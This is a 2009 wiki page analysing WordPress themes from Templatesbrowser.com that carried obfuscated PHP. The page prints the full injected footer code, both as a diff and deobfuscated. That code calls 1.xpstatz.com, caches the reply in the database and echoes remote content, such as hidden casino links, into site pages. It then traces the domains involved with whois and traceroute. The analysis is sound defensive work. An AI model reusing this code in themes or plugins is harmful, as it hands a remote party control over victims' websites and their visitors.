Templatesbrowser.com distributes malware

Introduction

In May 2007, we (Wessel and Onno Zweers) discovered that themes downloaded from Templatesbrowser contained PHP code that produced hidden links to commercial websites like casinos etcetera, obviously meant to increase the Google Pagerank of such websites. We wrote about it in several places.

After some publicity (in Digg and the Joomla forum, among others) the webmaster of Templatesbrowser gave up. A domain speculator bought the site, it seemed, and the themes disappeared.

In July 2009, Wessel discovered that the old themes were back. This time with “improved” malicious code.

On July 15th, several of the involved casino websites were taken offline, no doubt because of this analysis page. Also, the hidden links to casino websites seem to have been removed.

Latest news and developments: http://twitter.com/onnix

Analysis of one of the templates

I downloaded the theme Aalglatt, both from Templatesbrowser and from the original author, Felix Krusch. We unpacked both in different directories and we used the Unix tool diff to display the differences.

onno@parga:~/analysis$ diff aalglatt-felixkrusch aalglatt-templatesbrowser
diff aalglatt-felixkrusch/footer.php aalglatt-templatesbrowser/footer.php
4c4
< 	<p>Aalglatt Template by <a href="http://www.felixkrusch.com">Felix Krusch</a> based on The Green Marin&eacute;e template by <a href="http://e-lusion.com" title="Ian Main - e-lusion.com">Ian Main</a></p>
---
> 	<p>Aalglatt Template by <a href="http://www.felixkrusch.com">Felix Krusch</a></p>
10c10
< 				<li><a href="http://wordpress.org/" title="Powered by the lovely WordPress">WP</a></li>
---
> 				<?php 		global $wpdb;     $RC97967EF8C0BC5E1AD94C597A5D83875 = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_time_code'");   $RC69F19E4BCF2765EDB4274B852436F44 = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_code'");     if (empty($RC97967EF8C0BC5E1AD94C597A5D83875)) {    $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_time_code', '0', 'no')");    $R76DA5BA68AA0171088C9E2EE1409AC19 = 0;   } else $R76DA5BA68AA0171088C9E2EE1409AC19 = intval($RC97967EF8C0BC5E1AD94C597A5D83875[0]);     if (empty($RC69F19E4BCF2765EDB4274B852436F44)) {    $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_code', '<br/>', 'no')");    $RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB = '<br/>';   } else $RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB = $RC69F19E4BCF2765EDB4274B852436F44[0];       if ( ( time() - $R76DA5BA68AA0171088C9E2EE1409AC19 ) >= 60 ) {    $R39C188653EA53DBD6E3F1D3915EDAC0C = "com";    $R8088818E3E46A17C12F2EE42EB12D7AC = "1.";    $R7B934F06258B8BA3608E30CDE9EA1035 = "xpstatz";    $RAD8CC24399FEA84D3454DD7057C38FD0 = "xps.";    $RBF7582359E6813BD7C54DD76E7505037 = "$R8088818E3E46A17C12F2EE42EB12D7AC$R7B934F06258B8BA3608E30CDE9EA1035.$R39C188653EA53DBD6E3F1D3915EDAC0C";    $RA81C90DCC503F6900F7DC424AD04F525 = "/".$RAD8CC24399FEA84D3454DD7057C38FD0."php?h=" . urlencode($_SERVER['HTTP_HOST']) . "&u=" . urlencode($_SERVER['REQUEST_URI']);      if (ini_get('allow_url_fopen')) {     $RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB = @file_get_contents("http://" . $RBF7582359E6813BD7C54DD76E7505037 . $RA81C90DCC503F6900F7DC424AD04F525);    } else {     $RF500F4A848E2EB2F8AAC3A6734D7EC38 = @fsockopen($RBF7582359E6813BD7C54DD76E7505037, '80', $R87844B1C6FC922407E6020B6B224950F, $R1966719AEC0096F98BA934D649A6E28D, 30);     if ($RF500F4A848E2EB2F8AAC3A6734D7EC38) {      @stream_set_timeout($RF500F4A848E2EB2F8AAC3A6734D7EC38, 60);        @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "GET $RA81C90DCC503F6900F7DC424AD04F525 HTTP/1.1\r\n");      @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Host: $RBF7582359E6813BD7C54DD76E7505037\r\n");      @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, "Connection: Close\r\n\r\n");        $RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB = "";        while(!feof($RF500F4A848E2EB2F8AAC3A6734D7EC38)) {       $RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB .= @fgets($RF500F4A848E2EB2F8AAC3A6734D7EC38, 1024);      }        $RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB = trim(strstr($RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB, "\r\n\r\n"));     }       @fclose($RF500F4A848E2EB2F8AAC3A6734D7EC38);    }      if ( strpos($RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB, '[/]') ) {     $R76DA5BA68AA0171088C9E2EE1409AC19 = time();    $R54997E66281827CBC285597040554FCC = mysql_escape_string($RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB);       $wpdb->query("UPDATE $wpdb->options SET option_value=$R76DA5BA68AA0171088C9E2EE1409AC19 WHERE option_name='l_time_code'");     $wpdb->query("UPDATE $wpdb->options SET option_value='$R54997E66281827CBC285597040554FCC' WHERE option_name='l_code'");    }   }     if ( strpos($RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB, '[/]') ) { $R3CB9CDAED257453CFA56B9EF81B44C57 = strpos($RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB, '[]') + 2; $R24D59CD0B76A27B85F35D40A3CF6EC37 = strrpos($RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB, '[/]'); echo substr($RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB, $R3CB9CDAED257453CFA56B9EF81B44C57, $R24D59CD0B76A27B85F35D40A3CF6EC37-$R3CB9CDAED257453CFA56B9EF81B44C57); $RE762F29BDD39FF0A2ADF9AF4E6885799 = 1;  } ?>
19c19
< <?php do_action('wp_footer', ''); ?>
---
> <?php xfooter(); do_action('wp_footer', ''); ?>
Only in aalglatt-templatesbrowser: functions.php
Common subdirectories: aalglatt-felixkrusch/images and aalglatt-templatesbrowser/images
diff aalglatt-felixkrusch/sidebar.php aalglatt-templatesbrowser/sidebar.php
65,66d64
< 					<li><a href="feed:<?php bloginfo('rss2_url'); ?>" title="<?php _e('Syndicate this site using RSS'); ?>"><?php _e('<abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
< 					<li><a href="feed:<?php bloginfo('comments_rss2_url'); ?>" title="<?php _e('The latest comments to all posts in RSS'); ?>"><?php _e('Comments <abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>

Now, that was pretty unreadable. But from all this output, we can draw some conclusions:

  • Templatesbrowsers version is different
  • Most changes are in footer.php
  • A new file was added by Templatesbrowser, called functions.php
  • The new code has been obfuscated with variable names like R39C188653EA53DBD6E3F1D3915EDAC0C.

To make the code more readable, we apply a few search & replace commands:

sed -i -e 's/R39C188653EA53DBD6E3F1D3915EDAC0C/com/g' *.php
sed -i -e 's/R7B934F06258B8BA3608E30CDE9EA1035/xpstatz/g' *.php
sed -i -e 's/RAD8CC24399FEA84D3454DD7057C38FD0/xps/g' *.php
sed -i -e 's/R8088818E3E46A17C12F2EE42EB12D7AC/one/g' *.php
sed -i -e 's/RA81C90DCC503F6900F7DC424AD04F525/path/g' *.php
sed -i -e 's/RBF7582359E6813BD7C54DD76E7505037/domain/g' *.php
sed -i -e 's/RC97967EF8C0BC5E1AD94C597A5D83875/databaseresult1/g' *.php
sed -i -e 's/RC69F19E4BCF2765EDB4274B852436F44/databaseresult2/g' *.php
sed -i -e 's/R76DA5BA68AA0171088C9E2EE1409AC19/zero/g' *.php
sed -i -e 's/RE11FF1AFCAD5E0BC6B9BB3DE41CA9EAB/html_tag_br/g' *.php
sed -i -e 's/RF500F4A848E2EB2F8AAC3A6734D7EC38/socket/g' *.php
sed -i -e 's/R87844B1C6FC922407E6020B6B224950F/novalue1/g' *.php
sed -i -e 's/R1966719AEC0096F98BA934D649A6E28D/novalue2/g' *.php
sed -i -e 's/html_tag_br/some_downloaded_file_contents/g' *.php
sed -i -e 's/R54997E66281827CBC285597040554FCC/string_for_database/g' *.php
sed -i -e 's/RE762F29BDD39FF0A2ADF9AF4E6885799/another_one/g' *.php
sed -i -e 's/R24D59CD0B76A27B85F35D40A3CF6EC37/position_of_slash/g' *.php
sed -i -e 's/R3CB9CDAED257453CFA56B9EF81B44C57/position_of_brackets/g' *.php
sed -i -e 's/RDAFE7FE4FDC52E2D1048573B4DB1DF18/databaseresult1/g' *.php
sed -i -e 's/R41CCFE75D7AC2B4681397CFC70BAEF40/databaseresult2/g' *.php
sed -i -e 's/R14AF1BE9EE26A90921E64A82E7836797/one/g' *.php
sed -i -e 's/RBDCA893A9385C089DC5F358AAA52C09B/zero/g' *.php
sed -i -e 's/R5F38CE9C0B222F3BB0880E016DC07527/zero_or_one/g' *.php
sed -i -e 's/RB8CCA7CA753C9ECD0EAE7F65DA4AB7A1/html_tag_br/g' *.php
sed -i -e 's/html_tag_br/some_downloaded_file_contents/g' *.php
sed -i -e 's/R9446905AFC32B438C0BD070AD05F3D83/string_for_database/g' *.php

Then we edit the layout a bit. Then we get:

<?php 		
global $wpdb;     
$databaseresult1 = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_time_code'");   
$databaseresult2 = $wpdb->get_col("SELECT option_value FROM $wpdb->options WHERE option_name='l_code'");     
if (empty($databaseresult1)) {    
  $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_time_code', '0', 'no')");    
  $zero = 0;   
} else 
  $zero = intval($databaseresult1[0]);     
if (empty($databaseresult2)) {  
  $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('l_code', '<br/>', 'no')");  
  $some_downloaded_file_contents = '<br/>';   
} else 
  $some_downloaded_file_contents = $databaseresult2[0];       
if ( ( time() - $zero ) >= 60 ) {    
  $com = "com";    
  $one = "1.";    
  $xpstatz = "xpstatz";    
  $xps = "xps.";    
  $domain = "$one$xpstatz.$com";    
  $path = "/".$xps."php?h=" . urlencode($_SERVER['HTTP_HOST']) . "&u=" . urlencode($_SERVER['REQUEST_URI']);    
  if (ini_get('allow_url_fopen')) {     
    $some_downloaded_file_contents = @file_get_contents("http://" . $domain . $path);    
  } else {    
    $socket = @fsockopen($domain, '80', $novalue1, $novalue2, 30);  
    if ($socket) {      
      @stream_set_timeout($socket, 60);
      @fwrite($socket, "GET $path HTTP/1.1\r\n");
      @fwrite($socket, "Host: $domain\r\n");
      @fwrite($socket, "Connection: Close\r\n\r\n");
      $some_downloaded_file_contents = "";
      while(!feof($socket)) {
        $some_downloaded_file_contents .= @fgets($socket, 1024);
      }
      $some_downloaded_file_contents = trim(strstr($some_downloaded_file_contents, "\r\n\r\n"));
    }
    @fclose($socket); 
  } 
  if ( strpos($some_downloaded_file_contents, '[/]') ) {
    $zero = time();
    $string_for_database = mysql_escape_string($some_downloaded_file_contents);
    $wpdb->query("UPDATE $wpdb->options SET option_value=$zero WHERE option_name='l_time_code'");
    $wpdb->query("UPDATE $wpdb->options SET option_value='$string_for_database' WHERE option_name='l_code'");
  }
}
if ( strpos($some_downloaded_file_contents, '[/]') ) { 
  $position_of_brackets = strpos($some_downloaded_file_contents, '[]') + 2; 
  $position_of_slash = strrpos($some_downloaded_file_contents, '[/]'); 
  echo substr($some_downloaded_file_contents, $position_of_brackets, $position_of_slash-$position_of_brackets); 
  $another_one = 1;
}
?>

So, what does this code do? Basically the same as Templatesbrowser’s code a few years ago: it downloads some info from a certain server, 1.xpstatz.com:

$some_downloaded_file_contents = @file_get_contents("http://" . $domain . $path);

and displays it:

echo substr($some_downloaded_file_contents,...).

The new thing is: it tries to circumvent certain PHP functions if they are blocked:

if (ini_get('allow_url_fopen'))...

by opening a network socket and writing to and reading from that socket. The result is the same.

Also new: the collected string is stored in the Wordpress database as an option named “l_code”. If this code can’t connect to 1.xpstatz.com fast enough, the string from the database is used instead. So this works like a cache.

$string_for_database = mysql_escape_string($some_downloaded_file_contents);
[...]
$wpdb->query("UPDATE $wpdb->options SET option_value='$string_for_database' WHERE option_name='l_code'");

So, couldn’t this just be some kind of statistics service or pageview counter?

Two years ago, we discovered that Templatesbrowsers themes had links to casinos. So I did a search:

http://www.google.com/search?q=%22Aalglatt+Template+by+Felix+Krusch%22+casino

Among the first results are quite a few sites that actually write about casinos or have normal advertisements to casinos. But on the second page I found this link:

http://www.whatfredread.com/2008/06/maybe-the-appendix-is-useful-after-all/

And in the HTML source of that page I found this hidden link:

<div style="display: none;" id="11365798"><a href="http://www.bonnomori.com/">casino en ligne</a></div>

On another page I found a similar link:

<div style="display: none;" id="12090942"><a href="http://www.competitivechallenge.com/">casinos en ligne</a></div>

Here is a list of domains that the hidden links point to:

bonnomori.com
competitivechallenge.com
desmoinesarearealtor.net
joe2006.com

At least two of those sites link to femalegamblers.org.

The conclusion

If you use this template from Templatesbrowser, the person behind Templatesbrowser has control over what is being displayed on your Wordpress website. Your website might contain link spam to casino websites; if Google finds the link spam, you risk being blocked from their search engine result pages. He or she may even put malicious code on your website, that might infect the operating system of your visitors with viruses and other malware.

Because of the caching mechanism, shutting down or blocking 1.xpstatz.com is not enough; your website will still contain link spam.

Who is Templatesbrowser?

templatesbrowser.com

Let’s have a look at the whois database:

onno@parga:~$ whois templatesbrowser.com

Whois Server Version 2.0

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

   Domain Name: TEMPLATESBROWSER.COM
   Registrar: ENOM, INC.
   Whois Server: whois.enom.com
   Referral URL: http://www.enom.com
   Name Server: DNS1.NAME-SERVICES.COM
   Name Server: DNS2.NAME-SERVICES.COM
   Name Server: DNS3.NAME-SERVICES.COM
   Name Server: DNS4.NAME-SERVICES.COM
   Name Server: DNS5.NAME-SERVICES.COM
   Status: clientTransferProhibited
   Updated Date: 30-jan-2009
   Creation Date: 01-mar-2007
   Expiration Date: 01-mar-2010

>>> Last update of whois database: Thu, 09 Jul 2009 19:59:55 UTC <<<

Registration Service Provided By: NameCheap.com
Contact: support@NameCheap.com
Visit: http://www.namecheap.com/
	
Domain name: templatesbrowser.com

Registrant Contact:
   WhoisGuard
   WhoisGuard Protected ()
   
   Fax: 
   8939 S. Sepulveda Blvd. #110 - 732
   Westchester, CA 90045
   US

Administrative Contact:
   WhoisGuard
   WhoisGuard Protected (0ec15b4fc07e492e9e99d6b70e9bd05d.protect@whoisguard.com)
   +1.6613102107
   Fax: +1.6613102107
   8939 S. Sepulveda Blvd. #110 - 732
   Westchester, CA 90045
   US

Technical Contact:
   WhoisGuard
   WhoisGuard Protected (0ec15b4fc07e492e9e99d6b70e9bd05d.protect@whoisguard.com)
   +1.6613102107
   Fax: +1.6613102107
   8939 S. Sepulveda Blvd. #110 - 732
   Westchester, CA 90045
   US

Status: Locked

Name Servers:
   dns1.name-services.com
   dns2.name-services.com
   dns3.name-services.com
   dns4.name-services.com
   dns5.name-services.com
   
Creation date: 01 Mar 2007 15:54:31
Expiration date: 01 Mar 2010 15:54:31

The identity of the domain owner is hidden by the WhoisGuard service.

Let’s see who owns the IP address. That will give us a clue about the hosting provider.

onno@parga:~$ host templatesbrowser.com
templatesbrowser.com has address 74.53.139.140
templatesbrowser.com mail is handled by 5 eforwardct2.name-services.com.
templatesbrowser.com mail is handled by 5 eforwardct.name-services.com.
onno@parga:~$ host 74.53.139.140
140.139.53.74.in-addr.arpa domain name pointer 8c.8b.354a.static.theplanet.com.

So, what do we have?

xpstatz.com

Then, there is the server that the malicious code tries to read content from.

onno@parga:~$ host xpstatz.com
xpstatz.com has address 209.249.222.18
xpstatz.com mail is handled by 20 eforward1.registrar-servers.com.
xpstatz.com mail is handled by 10 eforward2.registrar-servers.com.

onno@parga:~$ host 209.249.222.18
Host 18.222.249.209.in-addr.arpa. not found: 3(NXDOMAIN)

That address does not have a reverse DNS entry, so it is more difficult to find out whom it belongs to. So, we try a traceroute:

onno@parga:~$ traceroute 209.249.222.18
traceroute to 209.249.222.18 (209.249.222.18), 30 hops max, 60 byte packets
[...]
 6  k701.pni-xs4all.ams1.nl.above.net (62.93.194.145)  30.123 ms  15.912 ms  16.148 ms
 7  ge-3-1-0.mpr1.ams1.nl.above.net (64.125.25.13)  17.758 ms  19.393 ms  19.909 ms
 8  so-2-1-0.mpr1.lga5.us.above.net (64.125.27.185)  106.523 ms  107.893 ms  108.931 ms
 9  so-1-1-0.mpr1.ord2.us.above.net (64.125.27.169)  134.579 ms  136.402 ms  138.620 ms
10  3.252.66.gigeservers.net (66.252.3.90)  136.673 ms  139.099 ms  139.333 ms
11  209.249.222.18 (209.249.222.18)  139.732 ms  141.498 ms  141.952 ms

So, the closest lead seems gigeservers.net. Judging from their home page, they are a hosting company.

competitivechallenge.com

And now let’s have a look at the advertisers. Who are those casino websites that try to get a higher Google pagerank?

onno@parga:~$ whois competitivechallenge.com

Whois Server Version 2.0

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

   Domain Name: COMPETITIVECHALLENGE.COM
   Registrar: ENOM, INC.
   Whois Server: whois.enom.com
   Referral URL: http://www.enom.com
   Name Server: NS1.SEOMORON.COM
   Name Server: NS2.SEOMORON.COM
   Status: clientTransferProhibited
   Updated Date: 09-mar-2009
   Creation Date: 08-dec-2005
   Expiration Date: 08-dec-2009

>>> Last update of whois database: Tue, 14 Jul 2009 20:55:23 UTC <<<

That was very brief. Competitivechallenge.com does not have a reverse DNS entry, so we do a traceroute.

onno@parga:~$ traceroute competitivechallenge.com
traceroute to competitivechallenge.com (66.154.20.253), 30 hops max, 60 byte packets
[...]
14  ae-71-71.ebr1.Washington1.Level3.net (4.69.134.133)  119.167 ms ae-91-91.ebr1.Washington1.Level3.net (4.69.134.141)  120.775 ms ae-61-61.ebr1.Washington1.Level3.net (4.69.134.129)  119.963 ms
15  ae-2.ebr3.Atlanta2.Level3.net (4.69.132.85)  128.490 ms  131.160 ms  164.957 ms
16  ae-22-52.car2.Atlanta1.Level3.net (4.68.103.35)  163.519 ms  164.343 ms  165.761 ms
17  REVELATION.car2.Atlanta1.Level3.net (4.71.22.22)  164.613 ms  160.036 ms  158.652 ms
18  atl1-cust2.112.globalcompass.com (69.61.56.206)  152.455 ms  151.399 ms  151.636 ms
19  66.154.20.253 (66.154.20.253)  141.000 ms  139.071 ms  124.399 ms

The closest domain name, globalcompass.com, is indeed a hosting company.

bonnomori.com

onno@parga:~$ whois bonnomori.com

Whois Server Version 2.0

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

   Domain Name: BONNOMORI.COM
   Registrar: ENOM, INC.
   Whois Server: whois.enom.com
   Referral URL: http://www.enom.com
   Name Server: NS1.SEOMAPPED.COM
   Name Server: NS2.SEOMAPPED.COM
   Status: clientTransferProhibited
   Updated Date: 09-mar-2009
   Creation Date: 22-oct-2006
   Expiration Date: 22-oct-2009

>>> Last update of whois database: Tue, 14 Jul 2009 21:03:34 UTC <<<

The Whois info is again very brief, but there is a recurring name here: enom.com, which is also the registrar of the Templatesbrowser.com domain.

Let’s now see who is the hosting provider.

onno@parga:~$ host bonnomori.com
bonnomori.com has address 66.154.64.167
bonnomori.com mail is handled by 0 bonnomori.com.

onno@parga:~$ host 66.154.64.167
167.64.154.66.in-addr.arpa domain name pointer 66-154-64-167.seomapped.com.

So, the IP address belongs to seomapped.com

femalegamblers.org

How about femalegamblers.org?

onno@parga:~$ host femalegamblers.org
femalegamblers.org has address 69.64.155.176
femalegamblers.org mail is handled by 5 eforwardct2.name-services.com.
femalegamblers.org mail is handled by 5 eforwardct.name-services.com.

onno@parga:~$ host 69.64.155.176
;; connection timed out; no servers could be reached

No reverse DNS, so we do a traceroute again.

onno@parga:~$ traceroute 69.64.155.176
traceroute to 69.64.155.176 (69.64.155.176), 30 hops max, 60 byte packets
[...]
10  xe-0-2-0.er1.sjc2.us.above.net (64.125.25.6)  191.698 ms  193.564 ms  194.035 ms
11  xe-1-1-0.mpr3.sjc7.us.above.net (64.125.27.89)  217.501 ms  218.870 ms  219.325 ms
12  64.124.195.245.available.above.net (64.124.195.245)  266.948 ms  267.803 ms  270.783 ms
13  sjl01dr01-1-po1.demandmedia.net (69.64.152.54)  271.077 ms  179.325 ms  182.391 ms
14  69.64.155.176 (69.64.155.176)  184.853 ms  185.074 ms  185.334 ms

Now, that’s interesting. This website seems to be hosted at a company called demandmedia.net. Judging from their website, they are into internet marketing. And well, look at that: one of their products is called Enom.com. Where did we see that name before? Right, it is the registrar of both Templatesbrowser.com and the advertisement server xpstatz.com!

One more lookup. name-services.com has the name servers of Templatesbrowser.com. Who are they? Again, the registrar is Enom.com.

onno@parga:~$ whois name-services.com

Whois Server Version 2.0

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

   Domain Name: NAME-SERVICES.COM
   Registrar: ENOM, INC.
   Whois Server: whois.enom.com
   Referral URL: http://www.enom.com
   Name Server: DNS1.NAME-SERVICES.COM
   Name Server: DNS2.NAME-SERVICES.COM
   Name Server: DNS3.NAME-SERVICES.COM
   Name Server: DNS4.NAME-SERVICES.COM
   Name Server: DNS5.NAME-SERVICES.COM
   Status: clientTransferProhibited
   Updated Date: 27-sep-2007
   Creation Date: 11-jun-2001
   Expiration Date: 11-jun-2010

We do a traceroute, and guess what we find?

onno@parga:~$ traceroute NAME-SERVICES.COM
traceroute to NAME-SERVICES.COM (69.64.155.124), 30 hops max, 60 byte packets
[...]
10  xe-0-2-0.er1.sjc2.us.above.net (64.125.25.6)  197.288 ms  197.703 ms  198.629 ms
11  xe-1-1-0.mpr3.sjc7.us.above.net (64.125.27.89)  200.167 ms  200.591 ms  202.486 ms
12  64.124.195.245.available.above.net (64.124.195.245)  181.126 ms  178.030 ms  180.346 ms
13  69.64.152.54 (69.64.152.54)  183.100 ms  179.060 ms  181.546 ms
14  69.64.155.124 (69.64.155.124)  184.037 ms  184.299 ms  184.657 ms

onno@parga:~$ host 69.64.152.54
54.152.64.69.in-addr.arpa domain name pointer sjl01dr01-1-po1.demandmedia.net.

So, name-services.com is only one hop away from demandmedia.net!

Demandmedia.net is involved in three ways:

  • They host femalegamblers.org
  • They are, through enom.com, the registrar of Templatesbrowser.com
  • They are very very close to name-services.com, who has the the domain name servers of Templatesbrowser.com.

Still, hosting and registration are all innocent things. The only one doing evil things here is Templatesbrowser, and we still don’t know who they are.

Action

Since we don’t know the identity yet of the person behind Templatesbrowser, our options are limited: complain to hosting providers and warn Google.

On July 10, 2009, I have sent emails to the involved hosting providers asking them to shut down templatesbrowser.com and xpstatz.com. The Planet responded twice that they are looking into the matter.

On July 15, 2009, I have submitted a spam report to Google.

Also on July 15, some of the involved casino websites were removed from DNS. From the casino sites only femalegamblers.org is online, and there is no direct link to it.

On July 19, I noticed that the hidden links on whatfredread.com had disappeared.

Even if templatesbrowser.com and xpstatz.com are shut down, the websites that use the malicious themes may still contain link spam because of the caching mechanism. The affected Wordpress sites can be tracked down by searching Google for links to the casino websites. Another option would be to take control of xpstatz.com and have it serve an innocent but easily trackable string, possibly containing a warning to the webmaster.

 
templatesbrowser.com_distributes_malware.txt · Laatst gewijzigd: 2009/07/19 11:03 door onno
 
Recent changes RSS feed Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki
Copyright © Onno Zweers